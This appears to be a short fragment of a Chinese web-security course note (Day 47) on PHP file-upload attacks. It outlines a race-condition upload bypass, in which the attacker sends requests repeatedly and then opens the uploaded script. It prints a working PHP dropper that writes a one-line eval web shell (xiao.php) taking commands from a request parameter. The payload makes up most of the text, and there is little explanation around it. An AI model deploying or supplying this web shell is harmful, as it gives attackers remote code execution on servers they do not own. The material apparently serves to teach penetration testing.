DAY47WEB 攻防-PHP 应用&文件上传&函数缺陷&条件竞争&二次渲染&黑白名单&JS 绕过-逻辑不严-条件竞争

2.请求不断发包

3.访问创建脚本代码

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>